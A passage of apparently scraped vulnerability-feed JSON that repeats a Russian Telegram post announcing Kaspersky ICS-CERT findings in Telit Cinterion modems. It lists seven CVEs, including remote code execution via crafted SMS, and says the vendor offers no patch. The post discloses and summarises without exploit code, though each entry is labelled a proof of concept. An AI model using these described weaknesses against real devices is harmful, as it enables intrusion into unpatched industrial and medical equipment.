\u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439, \u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u044d\u0442\u0438 \u043c\u043e\u0434\u0435\u043c\u044b \u0432 \u0441\u0432\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u0431\u044b\u043b\u0438 \u0447\u0430\u0441\u0442\u044c\u044e \u0431\u0438\u0437\u043d\u0435\u0441\u0430  Gemalto, \u0447\u044c\u0438 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u044b \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0439 \u043c\u044b \u043b\u043e\u043c\u0430\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434 \u0438 \u043d\u0430\u0448\u043b\u0438 \u0442\u0430\u043c \u0431\u0435\u043a\u0434\u043e\u0440 \u043f\u043b\u043e\u0445\u043e \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b. \n\n\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 \u043c\u043e\u0434\u0435\u043c\u043e\u0432 \u0441\u0442\u0430\u043b\u0430 \u043f\u0430\u0447\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439:\nCVE-2023-47610 - \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430\nCVE-2023-47611 - \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0435\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f \"manufacturer\"\nCVE-2023-47612 - \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0447\u0442\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 (\u0444\u0430\u0439\u043b\u044b, \u043f\u0430\u043f\u043a\u0438 \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0438 \u0441\u043a\u0440\u044b\u0442\u044b\u0435) \u043f\u0440\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435\nCVE-2023-47613 -  \u043f\u043e\u0431\u0435\u0433 \u0438\u0437 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043f\u0430\u043f\u043a\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0447\u0442\u0435\u043d\u0438\u044e \u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432\nCVE-2023-47614 - \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0438 \u0438\u043c\u0435\u043d\u0430 \u0444\u0430\u0439\u043b\u043e\u0432\nCVE-2023-47615 - \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c\nCVE-2023-47616 - \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u043f\u0440\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435\n\n\u0412\u0441\u0435 \u0431\u0430\u0433\u0438 \u043f\u043e-\u0441\u0432\u043e\u0435\u043c\u0443 \u0438\u043d\u0435\u0442\u0435\u0440\u0441\u043d\u044b. \u041d\u043e, \u043d\u0430 \u043c\u043e\u0439 \u0432\u0437\u0433\u043b\u044f\u0434, \u0441\u0430\u043c\u0430\u0439 \u044d\u043b\u0435\u0433\u0430\u043d\u0442\u043d\u0430\u044f, \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435, \u043f\u0435\u0440\u0432\u0430\u044f - \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 SMS. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c 4-5 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u043c\u0441\u043e\u043a \u0438 \u0442\u043e\u0433\u0434\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e. \n\n\u0427\u0442\u043e \u0436\u0435 \u043a\u0430\u0441\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u0442\u043e \u0442\u0443\u0442 \u0432\u0441\u0435 \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u043e. \u041e\u0447\u0435\u043d\u044c \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u043e. \u0423\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043e\u0442 \u0432\u0435\u043d\u0434\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442. \u041c\u043e\u0436\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u044b\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0442\u044c \u0437\u0430\u0449\u0438\u0442\u0443 \u0432\u043e\u043a\u0440\u0443\u0433 \u044d\u0442\u0438\u0445 \u043c\u043e\u0434\u0435\u043c\u043e\u0432, \u043d\u043e \u0442\u0443\u0442 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432 \u043c\u043d\u043e\u0433\u043e. \u0411\u0435\u0434\u0430 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0432\u0435\u043a\u0442\u043e\u0440\u0430 \u0430\u0442\u0430\u043a \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \"\u0437\u0430\u043b\u0438\u0432\u0430\u0442\u044c\" \u0431\u0435\u043a\u0434\u043e\u0440\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0447\u0435\u0440\u0442\u043e\u0432\u0441\u043a\u0438 \u0442\u0440\u0443\u0434\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c. \u0418 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0438\u0434\u044f\u0442 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043d\u0435\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0437\u0430\u0449\u0438\u0442\u044b\n\nBig things have small beginnings. \u042d\u0442\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0435\u0440\u0432\u044b\u0439 \u043e\u0442\u0447\u0435\u0442. \u0418 \u0435\u0433\u043e \u0443\u0440\u0435\u0437\u0430\u043d\u043d\u0430\u044f \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u0430\u044f \u0447\u0430\u0441\u0442\u044c :) \u043d\u043e \u0438 \u0435\u0435 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c \u0432\u0441\u044e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u044c \u0434\u0435\u043b\u0430. \u0418\u0441\u043a\u0440\u0435\u043d\u043d\u0435 \u043f\u043e\u0437\u0434\u0440\u0430\u0432\u043b\u044f\u044e \u0432\u0441\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443, \u043a\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u043b \u043d\u0430\u0434 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438! \n\nUPD: \u0437\u0430\u0431\u044b\u043b \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043f\u0430\u0446\u0430\u043d\u044b \u0432\u043e\u043e\u0431\u0449\u0435 \u0440\u0435\u0431\u044f\u0442\u0430 \u0438 \u0434\u043e \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043e\u0442\u0447\u0435\u0442\u0430 \u0441\u0432\u044f\u0437\u0430\u043b\u0438\u0441\u044c \u0441 \u043a\u0443\u0447\u0435\u0439 CERT'\u043e\u0432 \u043f\u043e \u0432\u0441\u0435\u0439 \u043f\u043b\u0430\u043d\u0435\u0442\u0435, \u0447\u0442\u043e\u0431\u044b \u0442\u0435 \u0441\u043c\u043e\u0433\u043b\u0438 \u0441\u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u044b \u043f\u043e \u043c\u0438\u0442\u0438\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u0441\u0442\u0440\u0430\u043d\u0430\u0445 \u0438 \u0440\u0435\u0433\u0438\u043e\u043d\u0430\u0445. \u0412\u0430\u0436\u043d\u0435\u0439\u0448\u0438\u0439 \u0448\u0430\u0433 \u0432 \u0441\u0432\u0435\u0442\u0435 \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u0439 \u0444\u0430\u043d\u0442\u0430\u0441\u043c\u0430\u0433\u043e\u0440\u0438\u0438\n\n\u041e\u0442\u0447\u0435\u0442:\nhttps://ics-cert.kaspersky.ru/media/Kaspersky-ICS-CERT-Cinterion-EHS5-whitepaper-Ru.pdf", "creation_timestamp": "2024-06-13T14:38:15.000000Z"}, {"uuid": "39f5aace-4ce8-4c6a-96df-132c2e8ff19d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47615", "type": "published-proof-of-concept", "source": "https://t.me/sycebrex/167", "content": "\u0423\u0420\u0410 \u041d\u0410\u0421\u0422\u0410\u041b \u0422\u041e\u0422 \u0421\u0410\u041c\u042b\u0419 \u0414\u0415\u041d\u042c!\n\n\u0423 \u043d\u0430\u0441 \u0432\u044b\u0448\u0435\u043b \u043e\u0442\u0447\u0435\u0442 \u043f\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445 Telit Cinterion. \u042d\u0442\u043e \u043e\u0447\u0435\u043d\u044c \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u0438 \u0432\u0430\u0436\u043d\u043e\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u0432\u0441\u0435\u0439 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0438 \u0438 \u0434\u043b\u044f connected \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 \u0432 \u0446\u0435\u043b\u043e\u043c. \u0414\u043b\u044f \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u0435\u0439, \u043c\u0435\u0434\u0438\u0446\u0438\u043d\u0441\u043a\u043e\u0433\u043e \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u0438\u0441\u0442\u0435\u043c \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438, \u0434\u043b\u044f REDACTED, \u0434\u043b\u044f REDACTED, \u0438 \u0441\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u043c\u043e\u0434\u0435\u043c\u044b \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u0432 REDACTED. \u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0432\u0441\u044e \u0441\u043b\u043e\u0436\u043d\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u043a\u0443\u043f\u043e\u043a \u0438 \u043f\u043e\u0433\u043b\u0430\u0449\u0435\u043d\u0438\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439, \u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u044d\u0442\u0438 \u043c\u043e\u0434\u0435\u043c\u044b \u0432 \u0441\u0432\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u0431\u044b\u043b\u0438 \u0447\u0430\u0441\u0442\u044c\u044e \u0431\u0438\u0437\u043d\u0435\u0441\u0430  Gemalto, \u0447\u044c\u0438 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u044b \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0439 \u043c\u044b \u043b\u043e\u043c\u0430\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434 \u0438 \u043d\u0430\u0448\u043b\u0438 \u0442\u0430\u043c \u0431\u0435\u043a\u0434\u043e\u0440 \u043f\u043b\u043e\u0445\u043e \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b. \n\n\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 \u043c\u043e\u0434\u0435\u043c\u043e\u0432 \u0441\u0442\u0430\u043b\u0430 \u043f\u0430\u0447\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439:\nCVE-2023-47610 - \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430\nCVE-2023-47611 - \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0435\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f \"manufacturer\"\nCVE-2023-47612 - \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0447\u0442\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 (\u0444\u0430\u0439\u043b\u044b, \u043f\u0430\u043f\u043a\u0438 \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0438 \u0441\u043a\u0440\u044b\u0442\u044b\u0435) \u043f\u0440\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435\nCVE-2023-47613 -  \u043f\u043e\u0431\u0435\u0433 \u0438\u0437 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043f\u0430\u043f\u043a\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0447\u0442\u0435\u043d\u0438\u044e \u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432\nCVE-2023-47614 - \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0438 \u0438\u043c\u0435\u043d\u0430 \u0444\u0430\u0439\u043b\u043e\u0432\nCVE-2023-47615 - \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c\nCVE-2023-47616 - \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u043f\u0440\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435\n\n\u0412\u0441\u0435 \u0431\u0430\u0433\u0438 \u043f\u043e-\u0441\u0432\u043e\u0435\u043c\u0443 \u0438\u043d\u0435\u0442\u0435\u0440\u0441\u043d\u044b. \u041d\u043e, \u043d\u0430 \u043c\u043e\u0439 \u0432\u0437\u0433\u043b\u044f\u0434, \u0441\u0430\u043c\u0430\u0439 \u044d\u043b\u0435\u0433\u0430\u043d\u0442\u043d\u0430\u044f, \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435, \u043f\u0435\u0440\u0432\u0430\u044f - \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 SMS. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c 4-5 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u043c\u0441\u043e\u043a \u0438 \u0442\u043e\u0433\u0434\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e. \n\n\u0427\u0442\u043e \u0436\u0435 \u043a\u0430\u0441\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u0442\u043e \u0442\u0443\u0442 \u0432\u0441\u0435 \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u043e. \u041e\u0447\u0435\u043d\u044c \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u043e. \u0423\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043e\u0442 \u0432\u0435\u043d\u0434\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442. \u041c\u043e\u0436\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u044b\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0442\u044c \u0437\u0430\u0449\u0438\u0442\u0443 \u0432\u043e\u043a\u0440\u0443\u0433 \u044d\u0442\u0438\u0445 \u043c\u043e\u0434\u0435\u043c\u043e\u0432, \u043d\u043e \u0442\u0443\u0442 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432 \u043c\u043d\u043e\u0433\u043e. \u0411\u0435\u0434\u0430 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0432\u0435\u043a\u0442\u043e\u0440\u0430 \u0430\u0442\u0430\u043a \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \"\u0437\u0430\u043b\u0438\u0432\u0430\u0442\u044c\" \u0431\u0435\u043a\u0434\u043e\u0440\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0447\u0435\u0440\u0442\u043e\u0432\u0441\u043a\u0438 \u0442\u0440\u0443\u0434\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c. \u0418 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0438\u0434\u044f\u0442 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043d\u0435\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0437\u0430\u0449\u0438\u0442\u044b\n\nBig things have small beginnings. \u042d\u0442\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0435\u0440\u0432\u044b\u0439 \u043e\u0442\u0447\u0435\u0442. \u0418 \u0435\u0433\u043e \u0443\u0440\u0435\u0437\u0430\u043d\u043d\u0430\u044f \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u0430\u044f \u0447\u0430\u0441\u0442\u044c :) \u043d\u043e \u0438 \u0435\u0435 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c \u0432\u0441\u044e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u044c \u0434\u0435\u043b\u0430. \u0418\u0441\u043a\u0440\u0435\u043d\u043d\u0435 \u043f\u043e\u0437\u0434\u0440\u0430\u0432\u043b\u044f\u044e \u0432\u0441\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443, \u043a\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u043b \u043d\u0430\u0434 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438! \n\nUPD: \u0437\u0430\u0431\u044b\u043b \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043f\u0430\u0446\u0430\u043d\u044b \u0432\u043e\u043e\u0431\u0449\u0435 \u0440\u0435\u0431\u044f\u0442\u0430 \u0438 \u0434\u043e \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043e\u0442\u0447\u0435\u0442\u0430 \u0441\u0432\u044f\u0437\u0430\u043b\u0438\u0441\u044c \u0441 \u043a\u0443\u0447\u0435\u0439 CERT'\u043e\u0432 \u043f\u043e \u0432\u0441\u0435\u0439 \u043f\u043b\u0430\u043d\u0435\u0442\u0435, \u0447\u0442\u043e\u0431\u044b \u0442\u0435 \u0441\u043c\u043e\u0433\u043b\u0438 \u0441\u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u044b \u043f\u043e \u043c\u0438\u0442\u0438\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u0441\u0442\u0440\u0430\u043d\u0430\u0445 \u0438 \u0440\u0435\u0433\u0438\u043e\u043d\u0430\u0445. \u0412\u0430\u0436\u043d\u0435\u0439\u0448\u0438\u0439 \u0448\u0430\u0433 \u0432 \u0441\u0432\u0435\u0442\u0435 \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u0439 \u0444\u0430\u043d\u0442\u0430\u0441\u043c\u0430\u0433\u043e\u0440\u0438\u0438\n\n\u041e\u0442\u0447\u0435\u0442:\nhttps://ics-cert.kaspersky.ru/media/Kaspersky-ICS-CERT-Cinterion-EHS5-whitepaper-Ru.pdf", "creation_timestamp": "2024-06-13T14:38:15.000000Z"}, {"uuid": "4b44ab41-f44f-4ce7-9325-2e83143305d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47613", "type": "published-proof-of-concept", "source": "https://t.me/sycebrex/167", "content": "\u0423\u0420\u0410 \u041d\u0410\u0421\u0422\u0410\u041b \u0422\u041e\u0422 \u0421\u0410\u041c\u042b\u0419 \u0414\u0415\u041d\u042c!\n\n\u0423 \u043d\u0430\u0441 \u0432\u044b\u0448\u0435\u043b \u043e\u0442\u0447\u0435\u0442 \u043f\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445 Telit Cinterion. \u042d\u0442\u043e \u043e\u0447\u0435\u043d\u044c \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u0438 \u0432\u0430\u0436\u043d\u043e\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u0432\u0441\u0435\u0439 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0438 \u0438 \u0434\u043b\u044f connected \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 \u0432 \u0446\u0435\u043b\u043e\u043c. \u0414\u043b\u044f \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u0435\u0439, 